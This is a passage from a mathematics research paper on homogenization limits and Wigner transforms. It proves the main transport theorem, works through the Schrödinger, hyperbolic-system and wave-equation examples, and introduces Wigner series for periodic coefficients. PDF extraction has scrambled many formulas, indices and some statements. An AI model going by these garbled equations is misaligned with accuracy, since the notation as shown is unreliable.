to the unique C 0 (Rt , D0 (Rm\n\nx × (Rξ \\ F ))) solution of the IVP\nm\n\n∂ 0 \u0001\n(2.12a) wq + ∇x · ∇λq (ξ)wq0 = 0\n∂t\n(2.12b) wq0 (t = 0) = wI,q\n0\n.\n\nP ROOF : We first study ŵqε on Rt × Rm\n\nζ × (Rξ \\ F ). Since ŵq is bounded\nm ε\n\nin L∞ (Rt × Rm 1 m\nζ , L (Rξ )) in view of (2.11) and since λq is a locally Lipschitz\nfunction on the whole of Rm ξ in view of the min-max principle, we con-\n∂ ŵε\nclude from (2.10) that ∂tq is bounded in L∞ (Rt , D0 (Rm ζ × Rξ )), hence ŵq is\nm ε\n0\nequicontinuous in t with values in D (Rζ × Rξ ). If, for some sequence εk →\nm m\n\n0, ŵqεk → ω(ζ, ξ) in C(Rt , D0 (Rm m ∞\n\nζ × (Rξ \\ F )), the L (Rt × Rζ , L (Rξ ))\nm 1 m\nε\nbound on ŵq implies that this convergence is also valid in the space of complex\nRadon measures on Rt × Rm ζ × (Rξ \\ F ).\nm\n\nIf ζ varies in a compact subset of Rm and ξ varies in a compact subset of\n\nR \\ F , then ξ + εsζ belongs to a compact subset of Rm \\ F for s ∈ [− 12 , 12 ]\nm\n\nand ε small enough. Hence, since ∇λq is continuous on Rm \\ F , we can pass\n\nto the limit in (2.10) and obtain\n∂ω(ζ, ξ)\n(2.13a) + iζ · ∇λq (ξ)ω(ζ, ξ) = 0\n∂t\n0\n(2.13b) ω(t = 0) = ŵI,q\n\nwhich clearly admits a unique solution, namely the Fourier transform with\nrespect to x of the unique solution to (2.12). The proof is then completed by\nusing Fourier transform with respect to x.\nThe following result implicitly clarifies the link between W ε (uε )(t, x, ξ)\nand wqε (t, x, ξ).\n\nL EMMA 2.3 Let (f ε ) be bounded in L2 (Rmx ) and A ∈ L (Rξ )\nn m n×n be\n\nm\n\nin D0 (Rm\nx × Ωξ ).\n\nP ROOF : According to (1.12) the Fourier transform with respect to x of\n\nW ε (f ε ) is bounded in L∞ (Rm 1 m n×n . It remains to check that\nζ , L (Rξ ))\n\u0012 \u0013 \u0012 \u0013\nζ ζ ∗\nA ξ+ε Ŵ (ζ, ξ)A ξ − ε\nε\n− A(ξ)Ŵ ε (ζ, ξ)A(ξ)∗ → 0\n2 2\nHOMOGENIZATION LIMITS AND WIGNER TRANSFORMS 337\n\nζ × Ωξ , which is immediate\nin the space of complex Radon measures on Rm\nsince A is continuous on Ω.\nNow we can complete the proof of Theorem 2.1. Let us denote the scalar\nWigner transform of (uε (t, ·)) by wε (t, x, ξ) = tr W ε (t, x, ξ). Let (tε ) be\nan arbitrary convergent family of real numbers; denote by t0 its limit. On\nRmx × (Rξ \\ F ), we have\nm\n\nX X\n(2.14) wε (tε ) = tr W ε (tε ) = tr(Πq W ε (tε )) = tr(Πq W ε (tε )Πq )\nq q\n\nwhere the last equality comes from the fact that Π2q = Πq and tr(AB) =\ntr(BA). Using Lemma 2.3 with f ε (x) = uε (tε , x) and A(ξ) = Πq (ξ), we\nobtain X X\n(2.15) wε (tε ) = wqε (tε ) + o(1) → wq0 (t0 )\nq q\n\ninD0 (Rm\nx × (Rξ \\ F )),\nm in view of Lemma 2.2. Hence, if µ is a scalar Wigner\nmeasure associated to a subsequence of uε (tε ), we get\nX\n(2.16) µ(x, ξ) ≥ wq0 (t0 , x, ξ)1ξ6∈F .\nq\n\nNow, in view of (2.12), the total mass of the right-hand side of (2.16) is\nXZ Z X\n0\nwI,q (dx − t0 ∇λq (ξ), dξ) = 0\nwI,q x × (Rξ \\ F )).\n(Rm m\n\nq Rm\nx ×(Rξ \\F )\nm\nq\n\nUsing Lemma 2.3 with f ε = uεI , we have, exactly as in (2.14),\n\nX\nx × (Rξ \\ F )) = wI (Rx × (Rξ \\ F ))\n0\nwI,q (Rm m 0 m m\n\nx × Rξ )\n= wI0 (Rm m\n\nε→0 ε→0\n\nin view of assumptions (A3)(ii), (A2), and conservation of energy.\n\nOn the other hand, in view of inequality (1.30) in Proposition 1.7(ii),\n\nx × Rξ ) ≤ lim ku (t )k .\nµ(Rm m ε ε 2\nε→0\n\nHence, we conclude that (2.16) is an equality, and, by Proposition 1.7(ii), that\n\n(uε (tε )) is compact at infinity and ε-oscillatory. Using Proposition 1.7(i), this\ncompletes the proof of the theorem.\n338 P. GÉRARD ET AL.\n\nR EMARK 2.4 The proof of Theorem 2.1 shows that w0 (t, x, ξ) is given by\nX\nd\n(2.17) w0 (t, x, ξ) = 1ξ6∈F 0\nwI,q (x − t∇λq (ξ), ξ) .\nq=1\n\nR EMARK 2.5 We define the energy-flux density J ε (t, x) by its Fourier trans-\nε (t, ξ))> :\nform Jˆε (t, ξ) = (Jˆ1ε (t, ξ), . . . , Jˆm\nZ Z 1\ni ¯ ε (t, ω − ξ)> ∂P\nJˆlε (t, ξ) = − û (ε(ω + (s − 1)ξ))\n(2.18) (2π)m Rm\nω 0 ∂ξl\nε\nds û (t, ω) dω .\n\nThen the macroscopic conservation law (“continuity equation”) holds:\n\n(2.19) nεt + divx J ε = 0 .\nIn terms of the Wigner matrix, Jˆlε is given by\n\nJˆlε (t, ξ)\nZ Z 1 \u0012 \u0012 \u0013 \u0013> !\n(2.20) ∂P 1\n= −i tr Ŵ ε (t, ξ, v) v+ε θ− ξ dθ dv\nRm\nv 0 ∂ξl 2\n\nwhere Ŵ ε (t, ξ, v) stands for (Fx→ξ W ε (t, x, v)). Both (2.19) and (2.20) follow\nby direct calculation. Under more stringent assumptions on the symbol and\nthe initial data, for example,\n(A4) ∃C > 0 , γ ≥ 0 : |∇P (ξ)| ≤ C(1 + |ξ|γ ) ∀ξ ∈ Rm\nξ\n(A5) ∃C > 0 : εγ kDγ uεI kL2 ≤ C\nwe can compute the weak limit J 0 of J ε . Similar arguments as in the proof\nof Theorem 2.1 finally give\nXd Z\n(2.21) 0\nJ (t, x) = ∇λq (ξ)wI,q0\n(x − t∇λq (ξ), dξ) .\nq=1 ξ∈Rm \\F\n\n3 Examples with Constant Coefficients\n\nThe general result Theorem 2.1 applies to a large variety of physically relevant\nhomogenization problems. We give details here for the Schrödinger equation,\ngeneral first-order hyperbolic systems, and the wave equation. The Maxwell\nequations in a homogeneous medium (cf. ) can be treated analogously to\nthe wave equation.\nHOMOGENIZATION LIMITS AND WIGNER TRANSFORMS 339\n\n3.1 Schrödinger Equation with Vanishing Potential\n\nWe start with the free-particle transport Schrödinger equation in Rm\nx for the\nε\nscalar wave function u :\nε2\n(3.1a) εuεt − i ∆uε = 0 , x ∈ Rm\nx , t∈R\n2\n(3.1b) u (t = 0, x) = uI (x) on Rx ,\nε ε m\n\nwhere ε is the (scaled) Planck constant. Then we have\n\ni 1\nP (ξ) = |ξ|2 ⇒ −iP (ξ) = |ξ|2 =: λ(ξ)\n2 2\nand the x-Fourier-transformed Wigner equation (2.10) reads\n\nŵtε + iζ · ξ ŵε = 0 .\n\nAs is well-known, the Wigner function wε (t, x, ξ) = wε [uε (t)](t, x, ξ) satisfies\n\nthe free-transport Liouville equation for all ε > 0\n\n(3.2a) wtε + ξ · ∇x wε = 0 ,\n(3.2b) wε (t = 0) = wε [uεI ](x, ξ) =: wIε\n\n(see, e.g., [23, 19, 7, 15]). The quantity nε = |uε |2 , which is now the position\ndensity, is then given by Z\n(3.3) nε = wε dξ .\nRm\nξ\n\nThe assumptions (A1) (with σ = 2), and, trivially, (A3), are automatically\nsatisfied. We assume the initial datum uεI to be ε-oscillatory. Note that com-\npactness at infinity is not necessary to carry out the homogenization of nε\n(since the set F of assumption (A3)(i) is empty).\nThen the homogenization gives\nZ\nε ε→0 0\nn −→ n = wI0 (x − ξt, dξ) ,\nRm\nξ\n\nwhere wI0 is a Wigner measure of uεI .\n\nWe remark that WKB-initial data\n\u0012 \u0013\ni\nuεI (x) = aI (x) exp SI (x) , x ∈ Rm\nx ,\nε\n1,1\nwith aI ∈ L2 (Rm ), SI ∈ Wloc (Rm ) and real-valued satisfy assumption (A2).\n340 P. GÉRARD ET AL.\n\nwI0 (x, ξ) = |aI |2 (x)δ(ξ − ∇SI (x))\n\nand\nw0 (t, x, ξ) = |aI |2 (x − ξt)δ(ξ − ∇SI (x − ξt)) .\nNote that because of the low regularity of aI , SI , a WKB method cannot be\napplied.\n\n3.2 First-Order Symmetric, Strictly Hyperbolic Systems\n\nLet A1 , . . . , Am be real, symmetric, n × n matrices. We consider\n\n∂uε X ∂uε\nm\n(3.4a) + Al = 0, x ∈ Rm\nx , t∈R\n∂t ∂xl\nl=1\n(3.4b) u (t = 0) = uεI\nε\non Rm\nx\n\nwhere uε (t, x), uεI (x) ∈ Cn . The energy density is given by nε = |uε |2 . We\ncalculate\nX\nm\nP (ξ) = i Al ξl , ξ = (ξ1 , . . . , ξm )> .\nl=1\nWe assume that (3.4a) is strictly hyperbolic, which isP equivalent to assuming\nthat the eigenvalues λ1 (ξ), . . . , λn (ξ) of the matrix ml=1 Al ξl (= −iP (ξ))\nare simple for ξ 6= 0. By homogeneity we have λq (αξ) = αλq (ξ), ∀α ∈ R,\nand in particular\nξ\n(3.5) λq (ξ) = |ξ|λq (ω) , ω= ∈ S m−1 .\n|ξ|\n\nSince λq is smooth on S m−1 (by strict hyperbolicity) we have F = {0} in\n\nTheorem 2.1. P\nLet a1 (ω), . . . , an (ω) be eigenvectors of nl=1 Al ξl corresponding to λ1 (ξ),\n. . . , λn (ξ), respectively, with |al (ω)| = 1 for l = 1, . . . , n. Then the transport\n∂ 0\n(3.6a) w + ∇λq (v) · ∇x wq0 = 0 , 1 ≤ q ≤ n,\n∂t q\n(3.6b) wq0 (t = 0) = wI,q\n0\n, 1 ≤ q ≤ n,\n\u0010 \u0011\n0 (x, ξ) = tr a ( ξ ) ⊗ a ( ξ )W 0 (x, ξ) and W 0 = W 0 [uε ].\nwhere wI,q q |ξ| q |ξ| I I I\nHOMOGENIZATION LIMITS AND WIGNER TRANSFORMS 341\n\nWe assume that Rm x × {0} is a null set of the scalar Wigner measure\n\nε ε\ntr W [uI ] and that uI is uniformly bounded in L2 , ε-oscillatory, and compact\n0\n\nat infinity (cf. [22, 8]).\n\nThen the homogenization limit of nε = |uε |2 is constructed according to\nTheorem 2.1, that is, by summing the zeroth-order ξ-moments of the solutions\nof (3.6).\nR EMARK 3.1 Assume that the scalar Wigner measure tr W 0 [f ε ] of a se-\nquence f ε ∈ L2 (Rm )n does not charge ξ = 0. Then\nZ ∞\n0 ε\nH [f ](x, ω) := W 0 [f ε ](x, rω)rm−1 dr ∈ M+ (Rm\nx × Sω\nm−1 n×n\n)\n0\n\nis an H-measure matrix of the sequence f ε and h0 := tr H 0 [f ε ](x, ω) is a\n\nscalar H-measure (cf. [22, 5, 4, 11]). Because of (3.5) and the assumption that\nthe initial Wigner measure does not charge ξ = 0, we can obtain an H-measure\nh0 (t) of the system (3.4) from\n\nhq + ∇λq (ω) · ∇x hq = 0 , x ∈ Rm x , ω ∈ Sω\nm−1\n, t∈R\n∂t \u0012 Z ∞ \u0013\nhq (t = 0, x, ω) = tr aq (ω) ⊗ aq (ω) 0\nWI (x, rω)r m−1\ndr\n0\nPn\nand h0 [uε (t)](x, ω) = q=1 hq (t, x, ω).\n\n3.3 Wave Equation in Rm\n\nWe consider the wave equation\n\n(3.7a) uεtt − ∆uε = 0 , x ∈ Rm\n\nx , t ∈ R,\n(3.7b) uε (t = 0) = uεI , uεt (t = 0) = sεI on Rm\nx\n\nfor the scalar, complex-valued function uε . The energy density is given by\n\nnε = |uεt |2 + |∇uε |2 .\n\nTherefore we introduce the new dependent variables\n\nsε = uεt , rε = ∇uε ,\n\nand obtain the system\n\n\u0012 \u0013 \u0012 \u0013\u0012 \u0013\nsε 0 divx sε\n− =0\nrε t\n∇x 0 rε\n342 P. GÉRARD ET AL.\n\nsε (t = 0) = sεI , rε (t = 0) = ∇uεI =: rIε . Thus\n\n\u0012 \u0013\n0 ξ>\nP (ξ) = i\nξ 0\nand\nλ1 (ξ) = −|ξ| , λ2 (ξ) = 0 , λ3 (ξ) = |ξ| ,\nfollows. The multiplicity of λ2 is m − 1 on Rm\nand we have F = {0} under\nξ ,\nassumption (A3)(i).\nWe assume that the initial data fulfill (A2) and\n\u0014\u0012 ε \u0013\u0015\nsI\nRx × {0} is a null set of w\nm 0\n.\nrIε\nThe limiting transport equations read\n∂ 0 ξ\n(3.8a) w − w0 = 0 , w10 (t = 0) = wI,1\n0\n,\n∂t 1 |ξ| 1\n∂ 0\n(3.8b) w = 0, w20 (t = 0) = wI,2\n0\n,\n∂t 2\n∂ 0 ξ\n(3.8c) w3 + w30 = 0 , w30 (t = 0) = wI,3\n0\n,\n∂t |ξ|\nwhere we obtain after the straightforward computation of the projections Π1 (ξ),\nΠ2 (ξ), and Π3 (ξ)\n0 1 0 ε\n(3.9a) wI,1 (x, ξ) = w [sI ](x, ξ)\n2 \u0012 \u0013\nξ 1\n− Re · w (rI , sI )(x, ξ) + w0 [rIε ](x, ξ) ,\n0 ε ε\n|ξ| 2\n0\n(3.9b) wI,2 (x, ξ) = 0 ,\n0 1 0 ε\n(3.9c) wI,3 (x, ξ) = w [sI ](x, ξ)\n2 \u0012 \u0013\nξ 1\n+ Re · w0 (rIε , sεI )(x, ξ) + w0 [rIε ](x, ξ) .\n|ξ| 2\nHere w0 (rIε , sεI ) is a measure-valued vector whose components are limits of\nwε (∂xl uεI , sεI ).\nP ROOF OF (3.8)–(3.9):: In computing formulae (3.9), we used the equa-\ntion\nξ⊗ξ 0 ε\n(3.10) W 0 [rIε ] = w [rI ]\n|ξ|2\nHOMOGENIZATION LIMITS AND WIGNER TRANSFORMS 343\n\n(note that w0 [rIε ] does not charge ξ = 0 by assumption). The proof of (3.10)\nis based on the fact that rIε is a gradient, which implies\nε\nεDj rI,k − εDk rI,j\nε\n= 0,\n\nwhere we denoted rI,l ε = ∂ uε . An application of (1.36) with p = ξ and\n\nxl I j\nε\np = ξk , respectively, gives for any bounded sequence f in L2\n\nε\nξj w0 [rI,k , f ε ] − ξk w0 [rI,j\nε\n, f ε] = 0\n\nand, analogously,\n\nξj w0 [f ε , rI,l\nε\n] − ξl w0 [f ε , rI,j\nε\n] = 0.\n\nWe set f ε = rI,l\nε in the first formula, f ε = r ε in the second formula, mul-\nI,j\ntiply both formulae by ξj , and sum over j. The claim then follows from\nstraightforward linear algebra.\n\nFor an H-measure-based analysis of the homogenization of the energy\n\ndensity of the wave equation, we refer to [4, 22, 5].\n\n4 Periodic Coefficients\nWe now deal with the case where the pseudo-differential operator P depends\non the position x in an oscillating way with period of order ε. A problem of\nthis kind is the semiclassical limit ε → 0 for the Schrödinger equation in a\ncrystal (cf. [7, 18]).\nFor analytical convenience we use the Weyl operator formulation (cf. (1.4)).\nHence we consider the following IVP for the Cn -valued function uε (t, x):\n\n(4.1a) εuεt + (P ε )W (x, Dx )uε = 0 , x ∈ Rm\n\nx , t ∈ R,\n(4.1b) uε (t = 0) = uεI , on Rm\nx ,\n\nwhere the complex n × n–matrix-valued symbol P ε is given by\n\n\u0010x \u0011\n(4.1c) P ε (x, ξ) = P , εξ .\nε\nWe require the following periodicity of P :\n\n(4.2) P (x, ξ) = P (x + γ, ξ) , ξ , γ ∈L\nξ ∈ Rm\n\n(4.3) L = {a(1) j1 + · · · + a(m) jm | j1 , . . . , jm ∈ Z}\n\n344 P. GÉRARD ET AL.\n\nand a(1) , . . . , a(m) form a basis of Rm . The dual basis vectors a(1) , . . . , a(m)\nare determined by the equation\n\n(4.4) a(`) a(k) = 2πδ`k , `, k = 1, . . . , m,\n\nand the dual lattice L ⊂ Rm\nξ (“reciprocal lattice”) reads\n\nn o\n(4.5) L = a(1) j1 + . . . + a(m) jm | j1 , . . . , jm ∈ Z .\n\nThe basic period cell of the lattice L is denoted by\n\n(m )\nX\n\n(4.6) C := ti a(i) 0 < t1 , . . . , tm < 1 .\ni=1\n\nBy B we denote the Brillouin zone, that is, a distinct fundamental domain of\n\nL∗ :\n\n(4.7) B := {k ∈ Rm\nξ | k is closer to zero than to any other point of L } .\n\nNote that we do not define B as the torus Rm ξ /L , since we will need the\nperiodic extensions of functions of k ∈ B (in which case we will consistently\nuse ξ ∈ Rmξ instead of k ∈ B as the argument).\nIn addition to (4.2), we impose the following assumptions on P :\n(B1) (i) P (x, ξ)∗ = −P (x, ξ).\n(ii) P (x, ξ) is a polynomial of degree σ in ξ and C ∞ in x.\n(iii) If u and P W (x, Dx )u ∈ L2 (Rm )n (respectively, L2loc (Rm )n ), then\nσ/2\nu ∈ H σ/2 (Rm )n ) (respectively, Hloc (Rm )n ).\n\nR EMARK 4.1 Assumption (B1)(iii) is crucial for obtaining the properties (P1)\nbelow, which are the basis of the generalized Bloch decomposition.\nThe ellipticity condition\n\n(4.8) | det P ε (x, ξ)| ≥ Cε |ξ|nσ for |ξ| large enough\n\nis sufficient for (B1)(iii), but, for example, the acoustic equation in Section 5.2\nshows that (4.8) can be too stringent.\n\nIn view of (B1), the operator −iP W (x, Dx ) is essentially self-adjoint on\n\nL2 (Rm )n .Indeed, the domain of P W (x, Dx )∗ can be easily identified as the\nset of u ∈ L2 (Rm )n such that P W (x, Dx )u ∈ L2 (Rm )n in the distributional\nsense.\nHOMOGENIZATION LIMITS AND WIGNER TRANSFORMS 345\n\nNote that only for the Weyl formalism the formal self-adjointness of the op-\nerator is equivalent to the real-valuedness of a scalar symbol or to the pointwise\nself-adjointness of a symbol matrix.\nThe assumptions on the initial datum uεI are again\n\nthat is, (1.26) and (1.27) hold.\n\nNote that we require the period of the oscillations of initial data to be of\nthe same order of magnitude as the period of the coefficients of the pseudo-\ndifferential operator in the evolution equation. This is the “crossover case” of\nthe more general two-scale situation.\nIn this section we replace the Wigner function (1.6) by the Wigner series\nintroduced in obtained by replacing the Fourier integral in (1.6) by Fourier\nseries on the lattice L. This is historically motivated by the semiclassical equa-\ntions in solid state physics (cf. [1, 18]) where k is called “crystal momentum.”\nThe obvious advantage of these Wigner series is the “reduction” of the “whole\nspace variable” ξ ∈ Rm ξ to the variable k in the bounded domain B.\nFor f, g ∈ S 0 (Rm )\nx we define\n\nwsε (f, g)(x, k) :=\n\n(4.9) 1 X \u0010 ε \u0011 \u0010 ε \u0011\nf x − γ g x + γ eik·γ , x ∈ Rm , k ∈ B .\n|B| 2 2\nγ∈L\n\nFor fixed ε, this defines a continuous bilinear mapping from S 0 (Rm ) × S 0 (Rm )\nto C 0 where C is defined as the space of ξ-periodic test functions a(x, ξ):\n\nC := {a ∈ C ∞ (Rm\nx × Rξ ) | ∀α ∈ N , ∀β, γ ∈ N :\nm m\n\nx × Rξ )\nm\n\nL EMMA 4.2 Let f, g ∈ L2 (Rm\n\nx ) and a(x, ξ) ∈ C. Then ws lie in a bounded\nε\n0\nset in C and\n\n(4.11) wsε (g, f ) = wsε (f, g)\n\n\u0001\n(4.12) hwsε (f, g), aiC 0 ,C = aW (x, εD)f | g\n346 P. GÉRARD ET AL.\n\nx ) we have\n\nhwsε (f, g), aiC 0 ,C\n\nX 1 Z \u0010 ε \u0011 \u0010 ε \u0011\n= f x − γ g x + γ a(x, k)eik·γ dx dk\n|B| Rm x ×B\n2 2\nγ∈L\nZ X Z \u0010 \u0011\n1 ε\n= f (x − εγ) a x − γ, k eik·γ dk g(x) dx\nRm\nx γ∈L\n|B| B 2\nZ\n=: Aε (x) g(x) dx .\nRm\nx\n\nWe compute Aε (x):\nX 1 Z Z Z \u0010 ε \u0011 ei(y−γ)·ξ\nAε (x) = f (x−εy) a x − y, k eik·γ dy dξ dk .\n|B| B Rm Rm 2 (2π) m\nγ∈L ξ y\n\nBy rearrangement for using the L∗ -periodic δ-distribution,\n\n1 X i(k−ξ)·γ X\n(4.13) e = δ(k − ξ − γ ∗ )\n|B| ∗ ∗\nγ∈L γ ∈L\n\nand by the L∗ -periodicity of a(x, k) in k we have\n\nZ \u0010 \u0011X 1 \u0010 \u0011\nε ε\na x − y, k ei(k−ξ)·γ dk = a x − y, ξ\nB 2 γ\n|B| 2\n\nand\nZ Z \u0010\n1 y \u0011\nAε (x) = f (x − εy) a x − ε , ξ eiy·ξ dy dξ\n(2π)m Rm\ny Rm\nξ\n2\n= aW (x, εD)f .\n\nIn the sequel we use the notation fˇ(γ) for the Fourier coefficients with\nrespect to k:\nX Z\n1\n(4.14) f (k) = ˇ\nf (γ)eik·γ\n, ˇ\nf (γ) = f (k)e−ik·γ dk .\n|B|\nγ∈L B\n\nIn analogy to Proposition 1.1, we have the following:\n\nHOMOGENIZATION LIMITS AND WIGNER TRANSFORMS 347\n\nP ROPOSITION 4.3 If f, g lie in a bounded subset of L2 (Rm ε\n\nx ), then ws (f, g)\nbelongs to a bounded set in C 0 . Moreover, if a(x, k), b(x, k) ∈ C we have\n\nP ROOF : We take a(x, k) and b(x, k) in C as defined in (4.10) and denote\n\nby ǎ(x, γ) and b̌(x, γ) the Fourier coefficients (4.14) of a, b. By the Plancherel\nformula we obtain\nZ X \u0010\nε \u0011 \u0010 ε \u0011 ∨\nhws (f, g)), abiC 0 ,C =\nε\nf x − γ g x + γ (ab) (x, −γ) dx\nRm\nx γ∈L\n2 2\nZ XX \u0010\nε \u0011 \u0010 ε \u0011\n= f x − γ g x + γ ǎ(x, µ)\nRm\nx\n2 2\nγ∈L µ∈L\n\n· b̌(x, µ + γ) dx .\n\nUsing the change of variables γ → γ − µ and x → x + 2ε (γ + µ), this can be\n\nwritten as\nZ XX\n\u0001\nhws (f, g), abiC 0 ,C =\nε\na x + 2ε (γ + µ), µ f (x + εµ)\nRm\nx γ∈L µ∈L\n\u0001\n· b̌ x + 2ε (γ + µ), γ g(x + εγ) dx .\n\nFor a function a(x, ξ) that is L∗ -periodic in ξ, we define\n\nX\n(4.16) a(x, εD)f := ǎ(x, γ)f (x + εγ)\nγ∈L\n\nand a calculation similar to the proof of Lemma 4.2 shows that this is indeed\nthe Fourier multiplier (1.3) for a periodic symbol.\nThe regularity of a, b allows us to conclude (4.15).\n\nR EMARK 4.4 The relation between Wigner series (4.9) and Wigner functions\n(1.6) follows directly using the reciprocal Poisson summation formula of (4.13)\nand the relation |C||B| = (2π)m for the basic cells\nX\n(4.17) wsε (f, g)(x, k) = wε (f, g)(x, k + γ ∗ ) .\nγ ∗ ∈L∗\n348 P. GÉRARD ET AL.\n\nFor a uniformly bounded sequence f ε in L2 (Rm n\n\nx ) we use (in analogy to the\nWigner functions in Chapter 2) the notations wsε (t, x, ξ) = wsε [f ε (t)](x, ξ) and\nWsε (t, x, ξ) = Wsε [f ε (t)](x, ξ) for the n × n “Wigner series matrix” assigned\nto an n-vector sequence f ε , with the relation wsε (t, x, ξ) = tr Wsε (t, x, ξ).\nAs a consequence of the above general properties of Wigner series, Wsε [f ε ]\nhas accumulation points Ws0 [f ε ] which are nonnegative, definite, matrix-valued\nmeasures.\nThe Wigner series are less general than the Wigner transforms of Section\n1 in the sense that their application makes sense only in the case of periodic\nPDOs (i.e., finite difference operators in the sense of (4.16)). However, they\nhave better convergence properties (cf. the proposition below with Proposition\n1.7).\nP ROPOSITION 4.5 Let f ε be a bounded sequence in L2 (Rm n\nx ) such that\nWsε [f ε ] → Ws0 [f ε ] in (C 0 )n×n and f ε ⊗ f ε * ν in M(Rm\nx )\nn×n . Then\nZ\n(4.18) Ws0 [f ε ](·, dk) = ν .\nB\nMoreover, Z\nξ × B) = lim\ntr(Ws0 [f ε ])(Rm |f ε (x)|2 dx ,\nε→0 Rm\nx\n\nif f ε is compact at infinity.\nP ROOF : The proof is based on (4.12) with a independent of ξ.\nThe following proposition is analogous to Proposition 1.8 and is useful for\nthe proof of the evolution equation of the limiting Wigner series measures.\nP ROPOSITION 4.6 Let λ be a bounded Γ∗ -periodic function such that λ ∈\nC 1 (Ω), Ω ⊂ B. Let f ε , g ε be bounded sequences in L2 (Rm n\nx ) such that\nε ε ε 0 ε ε 0\nWs (f , g ) → Ws (f , g ) in C . Then\n\nWsε (λ(εD)f ε , g ε )\n(4.19) ε\n= λ(k)Ws0 (f ε , g ε ) + ∇λ(k) · ∇x Ws0 (f ε , g ε ) + εrε\n2i\nwhere rε → 0 in D0 (Rm\nx × Ω) as ε goes to 0.\n\nP ROOF : We first remark that the Fourier transform with respect to x gives\n\nd\nW ε ε ε\ns (f , g )(ζ, k)\nX \u0012 \u0013 \u0012 \u0013\n(4.20) 1 c k γ∗ ζ k γ∗ ζ\n= f ε + + ⊗ bε\ng + −\n(2πε)m ∗ ∗ ε ε 2 ε ε 2\nγ ∈L\nHOMOGENIZATION LIMITS AND WIGNER TRANSFORMS 349\n\nd\ntherefore W ε ∞ m 1 dε 0 ∞\ns is bounded in L (Rζ ; L (B)) and Ws → Ŵs in L (Rζ ;\nm\n0 0\nC (B) ) weak-∗.\nWe have\n\u0010 ε \u0011 dε ε ε\n(4.21) d\nW ε (λ(εD)f ε , g ε ) = λ k + ζ W\ns s (f , g )\n2\nsince λ is Γ∗ -periodic. Also, λ is continuous on Ω, and for (k, ζ) in a compact\nsubset of Ω × Rm ζ we have k + 2 ζ ∈ Ω for ε small enough, which yields\nε\n\nd d0 ε ε 0\ns (λ(εD)f , g ) → λ(k)Ws (f , g ) in D (Ω × Rζ ) .\nε ε ε m\nW\n\nBut Wdε is bounded in D0 (Ω, S 0 (Rm )), which leads to the conclusion. The\ns ζ\nfinal form (4.19) follows from a Taylor expansion in (4.21).\n\nFor the Wigner series of the solution uε (t) of (4.1), that is, for wsε (t, x, ξ) :=\nwsε [uε (t)](x, ξ)\n= tr Wsε [uε (t)](x, ξ), we have the following important result:\n\nP ROPOSITION 4.7 Assume (B1) and (B2) hold. Then the sequence (wsε ) in\nC(Rt , C 0 ) is equicontinuous with respect to t as ε → 0.\n\nP ROOF : We first prove that we may assume that (P ε )W uεI belongs to a\n\nbounded subset of L2 . Indeed, assume the proposition is proved for such data.\nGiven (uεI ) satisfying only (B2) and R > 0, introduce vI,R\nε by\nε\nv̂I,R (ξ) = 1|ξ|≤ R ûεI (ξ) .\nε\n\nWe claim that f ε = (P ε )W vI,R\n\nε belongs to a bounded subset of L2 . Indeed, it\nis enough to prove that we can estimate independently of ε the L2 -norm of\n\u0010 \u0011\nεm/2 f ε (εx) = P W (x, Dx ) εm/2 vI,R\nε\n(εx) .\n\nThe Fourier transform of εm/2 vI,R\n\nε (εx) is given by\n\n\u0012 \u0013\nξ\n1|ξ|≤R ε−m/2 ûεI ;\nε\n\nhence this function is bounded in any H S -space, and so is εm/2 f ε (εx).\n\nOn the other hand, since uεI is ε-oscillatory and compact at infinity, we\nhave\nR→∞\nlim kuεI − vI,R\nε\nkL2 = α(R) −→ 0 .\nε→0\n350 P. GÉRARD ET AL.\nε ) to (4.1a) with initial\nHence, by the conservation of L2 -norm, the solution (vR\nε\ndatum vI,R satisfies\nR→∞\nlim kuε (t) − vR\nε\n(t)k = α(R) −→ 0 .\nε→0\n\nIn particular, the Wigner series of uε (t) is uniformly approximated by the\n\nWigner series of vR ε (t) as R → +∞; hence it is equicontinuous if the latter\n\nis.\nNow we assume that (P ε )W uεI belongs to a bounded subset of L2 . Since\n(P ε )W uε solves equation (4.1a), we conclude that\nε W ε\n(P ) u (t) 2 ≤ C ;\nL\n\nhence, by setting ũε (t, x) = εm/2 uε (t, εx),\n\nW\nP (x, Dx )(ũε (t)) 2 ≤ C .\nL\n\nUsing assumption (B1)(iii), we conclude that ũε (t) is uniformly bounded in\n\nH σ/2 , which implies the following estimate:\n(4.22) εσ/2 kuε (t)kH σ/2 ≤ C .\nTo complete the proof of the proposition, we need the following general-\nization of the conservation of energy:\nL EMMA 4.8 Given a ∈ C, we have\nε \u001d X Z 1/2 Z h\n∂ws\n,a = tr W ε (t, x, ξ)ζ\n∂t C 0 ,C γ∈L −1/2 R\n3m\n\n\u0010x γ \u0011i\n(4.23) · ∇ξ P + , ξ + εζθ\nε 2\nˇ γ)ei(xζ+γξ) dx dξ dζ dθ\n· â(ζ,\n(2π)m\n\nP ROOF : Using equation (4.1a), we have\n\nε\n∂ws 1 ε ε W ε ε \u0001\n(4.24) ,a = − ε ε ε W ε\nw [(P ) u , u ] + ws [u , (P ) u ] , a .\n∂t ε s\nNow we have the following formula, which is the Wigner series version of the\nlemma in the appendix,\n\nε W \u0001\nws P (x, εD)f, g , a C 0 ,C\nZ h i\n= tr W ε (f, g)(x, ξ)(a]P )ε (x, ξ) dx dξ\nR2m\nHOMOGENIZATION LIMITS AND WIGNER TRANSFORMS 351\n\nwhere\n\nXZ \u0012 \u0013\nγ ζ\n(a]P )ε (x, ξ) = (2π)−m ˇ γ)ei(xζ+γξ) P\nâ(ζ, x +ε ,ξ −ε dζ .\n2 2\nγ∈L R\nm\n\nObserve that this formula is an easy consequence of the lemma in the appendix\nand of the relation (4.17) between Wigner series and Wigner transforms. Plug-\nging this formula into (4.24) and using P ε (x, ξ)∗ = −P ε (x, ξ), we get\nXZ \u0014 \u0012 \u0012 \u0013\n∂wsε 1 γ ζ\n,a = − ε\ntr W (t, x, ξ) P x+ ε ,ξ −ε\nε\n∂t ε 2 2\nγ∈L R\n3m\n\n\u0012 \u0013\u0013\u0015\nγ ζ ˇ γ)ei(xζ+γξ) dx dξ dζ .\n− Pε x − ε ,ξ + ε â(ζ,\n2 2 (2π)m\n\nUsing P ε (x, η) = P ( xε , η) and the L-periodicity with respect to xε , we finally\n\nget\nXZ \u0014 \u0012 \u0012 \u0013\n∂wsε 1 x γ ζ\n,a = − tr W (t, x, ξ) ·\nε\nP + ,ξ −ε\n∂t ε ε 2 2\nγ∈L R\n3m\n\n\u0012 \u0013\u0013\u0015\nx γ ξ ˇ γ)ei(xζ+γξ) dx dξ dζ ,\n−P + ,ξ +ε â(ζ,\nε 2 2 (2π)m\n\nwhich leads to the claimed 